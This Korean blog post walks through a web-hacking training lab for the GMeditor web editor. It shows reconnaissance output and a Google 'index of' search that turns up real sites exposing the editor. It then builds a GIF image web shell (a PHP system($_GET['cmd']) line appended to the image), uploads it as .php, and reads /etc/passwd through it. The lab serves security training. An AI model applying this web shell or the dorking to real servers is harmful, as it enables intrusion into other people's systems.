홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






>> 목록보이기
#웹해킹 훈련장 #Live ISO #웹해킹 실습 #실습설명서 #WH-WebEditor #파일업로드 취약점 #이미지웹쉘 #PHP 웹쉘 #Web Editor #웹에디터 #gmeditor #확장자 검증 #A1-Injection

WH-WebEditor-GM 웹해킹훈련장 라이브 ISO: 웹에디터 gmeditor의 이미지 검증 취약점 실습문제

HTML 편집은 상당히 고된 작업이다. 이 때문에 많은 누리집에서 WYSIWYG(What You See Is What You GET) 방식의 HTML 편집기를 많이 제공한다. 누리집에서 사용하는 HTML 편집기는 주로 자바스크립트를 기반으로 구현된다. 웹에서 사용하는 HTML 편집기라고 하여 웹 에디터(Web Editor)라고 한다. 현재 다수의 공개용 웹 에디터들이 존재하고 있다. 세계적으로는 CKeditor가 많이 사용되고 있고 국내에서는 네이버의 스마트에디터(SmartEditor), 다음의 다음에디터(DaumEditor) 등이 자주 눈에 띈다. 상용 웹에디터로는 나모 크로스에디터(CrossEditor), CHeditor 등이 있다.

FCKeditor, SmartEditor 등에서 취약점이 발견되기는 했으나 대부분 취약점이 조치되었다. 이러한 과정을 거치면서 최신 웹 에디터 배포본, 특히 공개용 웹 에디터에서는 이제 취약점을 찾기 어렵다. 다만 배포본은 대개의 경우 PHP인데, 이를 ASP나 JSP로 변환하는 과정에서 개발자들이 보안 관련부분을 간과하여 취약점이 발생하는 경우들이 종종 발견고는 한다.

웹 에디터는 HTML을 모르고도 HTML을 작성할 수 있게 해주기 때문에 편리하다. 보안상 문제가 되는 부분은 웹에디터가 제공하는 이미지 업로드 기능인 경우가 많다. 이 훈련장에서 만나게 될 지엠에디터(GMeditor)는 2000년대 초중반에 배포된 웹 에디터이다. 아직도 다수의 홈페이지에서 사용되고 있다. 대부분의 웹 에디터는 취약점이 존재하지 않으나 GMeditor는 이미지 업로드 기능에 취약점이 존재한다.

WH-WebEditor-GM 훈련장 구동

위의 ISO 파일을 내려받아서 적당한 위치에 저장한다. VMware Workstation Player를 이용하여 부팅한다. 메모리는 512MB 이상으로 한다. 부팅이 끝나면 root:root로 로그인한 후 ifconfig 명령어로 IP주소를 확인한다. 여기서는 훈련장의 IP 주소가 192.168.189.238이다. OWASP ZAP을 실행하여 FireFox의 프록시로 연결하고 http://192.168.189.238/에 접속한다.

wh-webeditor-gmeditor: first page
[ WH-WebEditor-GM 실습장: 홈페이지 접속 화면 ]

위 그림은 파이어폭스로 WH-WebEditor-GM 훈련장에 접속한 화면이다. 표면상으로는 HTML 페이지 하나만 관찰할 수 있다. 다른 기능은 전혀 존재하지 않는 것처럼 보인다. nmap, nikto, owasp-zap으로 기본적인 취약점 점검을 진행해보자.

Nmap 포트 탐지

root@kali:~# nmap -A 192.168.189.238

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-23 11:20 KST
Nmap scan report for 192.168.189.238
Host is up (0.00050s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.16 ((Unix) OpenSSL/1.0.2j PHP/5.5.13)
|_http-server-header: Apache/2.4.16 (Unix) OpenSSL/1.0.2j PHP/5.5.13
|_http-title: WH-WebEditor-GM \xEC\x9B\xB9\xED\x95\xB4\xED\x82\xB9\xED\x9B\x88\xEB\xA0\xA8\xEC\x9E\xA5
MAC Address: 00:0C:29:E3:3F:16 (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.50 ms 192.168.189.238

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.77 seconds
root@kali:~#

nmap 탐색 결과에서, WH-WebEditor-GM 운영체제는 리눅스(커널은 2.6.32 - 3.10)이며 아파치 웹서버와 PHP를 기반으로 서비스를 제공하고 있다는 것을 파악할 수 있다. 외부에서 접속할 수 있는 포트는 80 1개이다.

Nikto 웹서비스 환경 탐색

root@kali:~# nikto -host 192.168.189.238
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.189.238
+ Target Hostname:    192.168.189.238
+ Target Port:        80
+ Start Time:         2017-01-23 11:22:32 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache/2.4.16 (Unix) OpenSSL/1.0.2j PHP/5.5.13
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ PHP/5.5.13 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ 7535 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2017-01-23 11:22:43 (GMT9) (11 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
root@kali:~#

Nikto 스캔 결과에서는 X-Frame-Options 헤더가 설정되지 않은 점과 PHP 버전이 약간 낮은 점을 지적하고 있다. 직접적인 취약점은 발견되지 않았다.

OWASP-ZAP 웹 애플리케이션 취약점 탐색

wh-webeditor-gmeditor: zaproxy quick start result
[ WH-WebEditor-GM 실습장: OWASP-ZAP "빠른 시작" 스캔 결과 ]

OWASP-ZAP의 취약점 탐색 결과에서는 X-Frame-Options 헤더가 없다는 점을 탐지하였다. 그 외에는 취약점이 탐지되지 않았다.

수동 점검

WH-WebEditor-GM 누리집에서 직접적으로 노출되는 URL은 다음과 같다.

  • http://192.168.189.238/ (홈페이지)
  • http://192.168.189.238/gmeditor/uploaded/img/1484982298.jpg (첫번째 그림)
  • http://192.168.189.238/gmeditor/uploaded/img/1484982347.jpg (두번째 그림)

이미지 저장 경로를 직접 접속해보자. FireFox를 이용하면 된다. 여기서는 curl을 이용하여 서버의 HTTP 헤더를 살폈다.

root@kali:~# curl -I http://192.168.189.238/gmeditor/
HTTP/1.1 403 Forbidden
Date: Mon, 23 Jan 2017 02:26:22 GMT
Server: Apache/2.4.16 (Unix) OpenSSL/1.0.2j PHP/5.5.13
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=iso-8859-1

root@kali:~#

http://192.168.189.238/gmeditor/, http://192.168.189.238/gmeditor/uploaded/, http://192.168.189.238/gmeditor/uploaded/img/ 등을 접속했을 때 서버는 모두 HTTP/1.1 403 Forbidden이라는 정상적인 결과를 전송했다. 디렉토리 나열 취약점이 존재하지 않는다.

구글 웹검색엔진에서 "gmeditor"를 검색해보면 GMeditor가 적용된 여러 누리집을 발견할 수 있다. 웹에디터임을 알 수 있다. 이 에디터가 저장된 경로에 어떤 파일들이 존재하는 지 추정해보자. 디렉토리 나열 취약점이 존재하는 다른 누리집을 통해 간접적으로 짐작할 수 있다.

구글에서 index of gmeditor를 검색한다. "index of"는 웹 서버가 디렉토리의 내용을 출력할 때 제목으로 가장 많이 사용하는 문자열이다. 이 검색결과에서 구글은 디렉토리 나열 취약점이 있는 웹 페이지들을 토해낸다. 그 중 하나를 접속한다.

wh-webeditor-gmeditor: directory indexing in real wordl
[ WH-WebEditor-GM 실습장: gmeditor가 설치된 다른 누리집의 경로 나열 ]

GMeditor가 설치된 경로의 내용을 볼 수 있다. 웹에디터는 대개 예제를 제공한다. 위에서는 demo.php가 예제일 것으로 추정할 수 있다.

wh-webeditor-gmeditor: gmeditor demo.php
[ WH-WebEditor-GM 실습장: 타 누리집의 gmeditor 예제 페이지 ]

GMeditor의 demo.php에 접속하면 위와 같은 결과를 보여준다. 실제 웹 에디터가 어떻게 사용되는 지를 알 수 있다. 이로 부터 WH-WebEditor-GM 훈련장에도 데모 페이지가 있는 지 추정하면 http://192.168.189.238/gmeditor/demo.php일 것이다.

wh-webeditor-gmeditor: example page
[ WH-WebEditor-GM 실습장: GMeditor 데모 페이지]

http://192.168.189.238/gmeditor/demo.php에 접속한 화면은 위와 같다. 대부분의 웹 에디터가 이미지 올리기 기능을 제공한다. 데모 페이지의 기능을 살펴보면 파일을 올릴 수 있는 기능은

  • 이미지 올리기: http://192.168.189.238/gmeditor/upfile.php
  • 미디어 올리기: http://192.168.189.238/gmeditor/media.php

이다.

먼저 미디어 올리기 기능(http://192.168.189.238/gmeditor/media.php)을 점검해보자. b374k.php.swf 파일을 등록하면 파일이 서버에 swf 확장자 파일로 저장된다. 파일을 실제로 저장하는 기능은 http://192.168.189.238/gmeditor/upfile_ok.php이다. 동일한 파일을 OWASP-ZAP의 프록시 기능을 이용하여 b374k.php로 바꿔서 올리면 저장을 거부한다. 미디어 파일 등록기능에서는 gmeditor가 서버에서 확장자 검증을 한다.

wh-webeditor-gmeditor: media ext check
[ WH-WebEditor-GM 실습장: GMeditor의 미디어 파일 확장자 검증 ]

위의 그림은 b374k.php 파일을 미디어로 등록할 때의 경고문이다. "미디어파일만 업로드해 주세요"라는 메시지를 띄운다. b374k.php.swf 파일은 서버에 저장을 하고 b374k.php 파일은 저장을 거부한다는 것은 서버 단에서 확장자 검증 기능이 존재한다는 단서가 된다. 불허목록 기반으로 확장자를 검증하는 지 시험하기 위해서 b374k.php, b374k.pHp, b374k.PHP, b374k.php3, b374k.php4, b374k.php5, b374k.phtml 등의 다양한 확장자를 시도해보아도 서버에서 저장을 거부한다. 이는 GMeditor의 미디어 등록기능에서는 웹쉘을 업로드하기가 힘들다는 의미이다.

이제 이미지 등록 기능(http://192.168.189.238/gmeditor/upfile.php)을 점검해보자. 이미지 올리기 기능도 미디어 등록기능과 마찬가지로 /gmeditor/upfile_ok.php가 담당하고 있다. PHP 코드 파일인 b374k.php, b374k.pHp, b374k.PHP, b374k.php3, b374k.php4, b374k.php5, b374k.phtml 등은 모두 실패하였다. "GIF,JPG,PNG,BMP 확장자만 업로드 가능합니다"라는 주의사항을 출력한다.

wh-webeditor-gmeditor: text with jpg ext failes
[ WH-WebEditor-GM 실습장: JPG 확장자지만 텍스트 파일 업로드 실패 ]

위의 그림은 b374k.php.jpg 파일을 업로드한 결과이다. 파일이 jpg 확장자를 가지고 있음에도 불구하고 "GIF,JPG,PNG,BMP 확장자만 업로드 가능합니다"라는 동일한 경고문을 출력한다. 무언가 다른 검증 기능이 존재하는 것으로 보인다.

진짜 이미지 파일인 kth.jpgkth.php로 복사하였다. 실제로는 이미지이지만 확장자만 php인 파일이다. 이미지 파일을 PHP/ASP 확장자로 바꾸어 등록을 시도하는 이 방법은 이미지 업로드 기능에서 서버단 확장자 검증 기능을 탐지하는 가장 기본적인 방법이다.

wh-webeditor-gmeditor: image with php ext success
[ WH-WebEditor-GM 실습장: php 확장자를 가지는 이미지 파일 등록 성공 ]

kth.php 파일이 정상적으로(?) 서버에 저장되었다. HTML 소스를 보면 - OWASP-ZAP의 프록시에서도 확인 가능 - 서버에 "./uploaded/img/1485139347.php"로 저장된 것을 알 수 있다.

<a style="cursor:hand;cursor:pointer;" onclick="window.open('./img_view.php?name=.%2Fuploaded%2Fimg%2F1485139347.php&w=113&h=173','_editor_tb','staus=no, width=113, height=173,scrollbars=no,toolbar=no,menubar=no')"><img src="./uploaded/img/1485139347.php" vspace="5" border="0" hspace="5"></a>

위는 FireFox에서 "View Selection Source"를 이용하여 등록한 이미지를 표현하는 HTML 소스를 확인한 것이다. /gmeditor/img_view.php라는 이미지 보기 기능도 새로 확인할 수 있다. 이미지의 URL은 /gmeditor/uploaded/img/1485139347.php이다. GMeditor의 이미지 올리기 기능에서는 확장자를 검증하지 않는다.

지금까지의 관찰로부터 GMeditor의 이미지 등록기능에서는 실제 이미지 파일만을 저장하며 확장자는 검증하지 않는다는 사실을 파악할 수 있다. 이런 경우에는 이미지에 PHP 코드를 붙인 이미지웹쉘을 등록할 수 있다.

아주 작은 이미지를 만들어보자. GMeditor는 실제 이미지만을 등록하므로 가장 작은 크기의 이미지를 만들 것이다. 명령행(command line)에서 이미지를 처리할 수 있는 강력한 이미지 처리 도구인 ImageMagick를 사용할 수 있다.

root@kali:~# apt-get install imagemagick
패키지 목록을 읽는 중입니다... 완료
의존성 트리를 만드는 중입니다       
상태 정보를 읽는 중입니다... 완료
imagemagick is already the newest version (8:6.9.6.6+dfsg-1).
0개 업그레이드, 0개 새로 설치, 0개 제거 및 1개 업그레이드 안 함.
root@kali:~# ls -als kth.jpg 
16 -rwxr-xr-x 1 root root 12405  1월 23 13:01 kth.jpg*
root@kali:~# identify kth.jpg 
kth.jpg JPEG 113x173 113x173+0+0 8-bit sRGB 12.4KB 0.000u 0:00.000
root@kali:~# convert -resize 1x1 kth.jpg kth1.gif
root@kali:~# identify kth1.gif
kth1.gif GIF 1x1 1x1+0+0 8-bit sRGB 2c 43B 0.000u 0:00.000
root@kali:~#

칼리 리눅스에서는 apt-get 명령어를 사용하여 간단하게 ImageMagick을 설치할 수 있다. 위에서는 이미 설치되어 있어서 설치되어 있다는 설명이 나온다. 원본 이미지는 kth.jpg 파일이며 12.4짜리 JPEG 이미지 파일이다(identify 명령어). 이미지매직이 제공하는 convert 명령어를 이용하여 1x1 픽셀 크기의 kth.gif 파일을 생성하였다. 이 파일을 identify로 확인하면 43바이트 짜리의 매우 작은 GIF 파일인 것을 볼 수 있다.

43바이트 짜리 GIF 이미지에 PHP 코드를 덧붙여 보자.

root@kali:~# echo >> kth1.gif
root@kali:~# echo "<PRE><?PHP system(\$_GET['cmd']); ?>" >> kth1.gif
root@kali:~# cat kth1.gif 
GIF89a��zy!�,D;
<PRE><?PHP system($_GET['cmd']); ?>
root@kali:~# cp kth1.gif kth1.php
root@kali:~# identify kth1.php
kth1.php GIF 1x1 1x1+0+0 8-bit sRGB 2c 80B 0.000u 0:00.000
root@kali:~#

위의 과정은 다음과 같다.

  • echo >> kth1.gif: 줄바꾸기(개행) 문자를 이미지의 끝에 붙인다.
  • echo "<PRE><?PHP system(\$_GET['cmd']); ?>" >> kth1.gif: 웹쉘 코드를 이미지의 끝에 붙인다.
  • cp kth1.gif kth1.php: 이미지를 php 확장자로 변경한다.

위의 과정을 거친 파일(kth1.php)을 identify 명령어로 확인해보면 - 텍스트를 파일의 끝에 붙였음에도 불구하고 - 여전히 1x1 크기의 GIF 이미지이다.

이제 WH-WebEditor-GM 훈련장의 gmeditor 데모 페이지에서 이미지 올리기 기능을 이용하여 kth1.php 파일을 등록해 보자. 등록시의 프록시에서 또는 등록 후의 HTML 소스에서 서버에 저장된 경로를 확인할 수 있다. HTML 소스는 <img src="./uploaded/img/1485158286.php" vspace="5" border="0" hspace="5">이었다. URL로 환산하면 http://192.168.189.238/gmeditor/uploaded/img/1485158286.php이다.

wh-webeditor-gmeditor: image webshell exec
[ WH-WebEditor-GM 실습장: 이미지웹쉘 실행 화면 ]

위 그림은 파이어폭스에서 php 확장자의 이미지 경로를 접속한 후에 cmd 변수를 이용하여 운영체제 명령어를 실행한 결과의 HTML 소스이다. FireFox의 HTML 소스보기 URL은 view-source:http://192.168.189.238/gmeditor/uploaded/img/1485158286.php?cmd=id;uname%20-a;cat%20/etc/passwd;cat%20../../upfile_ok.php이다.

  • id: www(80) 권한으로 Apache 웹서버 실행
  • uname -a: 커널 3.2.7 기반의 Slitaz 리눅스
  • cat /etc/passwd: root, nobody, www, tux 등의 리눅스 계정 존재
  • cat ../../upfile_ok.php: 이미지, 미디어 파일 등록 과정을 확인 가능

위와 같이 curl을 이용하면 명령어 실행결과만을 볼 수도 있다.

root@kali:~# curl http://192.168.189.238/gmeditor/uploaded/img/1485158286.php?cmd=cat+/etc/passwd 2> /dev/null | grep -a "<PRE>" -A 1000
<PRE>root:x:0:0:Root Administrator:/root:/bin/sh
nobody:x:99:99:Unprivileged User:/dev/null:/bin/false
www:x:80:80:Web Server User:/var/www:/bin/false
tux:x:1000:1000:Linux User,,,:/home/tux:/bin/sh
root@kali:~#

마무리

GMeditor의 upfile_ok.php 소스를 보면 미디어 파일의 경우에는 허용할 확장자를 가진 파일만 서버에 저장한다. 그런데 이미지 등록 기능에서는 PHP의 getimagesize() 함수를 이용하여 실제 이미지 인지의 여부만을 판단하고 확장자는 무조건 허용하고 있다. 2000년대 초중반에 만들어진 일부 웹 에디터들이 이러한 취약점을 가지고 있었다. 이러한 취약 웹에디터를 적용한 누리집이 아직도 다수 존재하기 때문에 일각에서는 여전히 자동화 공격의 대상이 되고 있다.

또 하나의 문제점은 거의 대부분의 웹에디터가 PHP 코드만을 제공한다는 점이다. ASP나 JSP에 비해 PHP 점유율이 80%를 넘어선다는 것을 생각하면 당연한 결과이다. 이 점이 문제가 되는 것은 ASP와 JSP 개발자들이 PHP 코드를 변환하는 과정에서 - 대개 뭔 기능인지 몰라서 - 기능과는 상관없어 보이는 보안 관련 부분을 삭제해 버린다는 것이다. 웹 에디터 배포판은 기본적으로 보안상 안전하지만, 웹취약점분석을 하다보면 ASP나 JSP에서는 취약점이 되살아나는 경우를 상당수 만나게 된다.

[처음 작성한 날: 2017.01.23]    [마지막으로 고친 날: 2017.01.24] 


< 이전 글 : 오늘의 웹서버 공격 로그: MySQL 관리 인터페이스 자동탐색 도구 - Jorgee Scanner (2017.01.25)

> 다음 글 : 오늘의 웹서버 공격 로그: Apache ProxyAbuse 탐지 시도 (2017.01.22)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문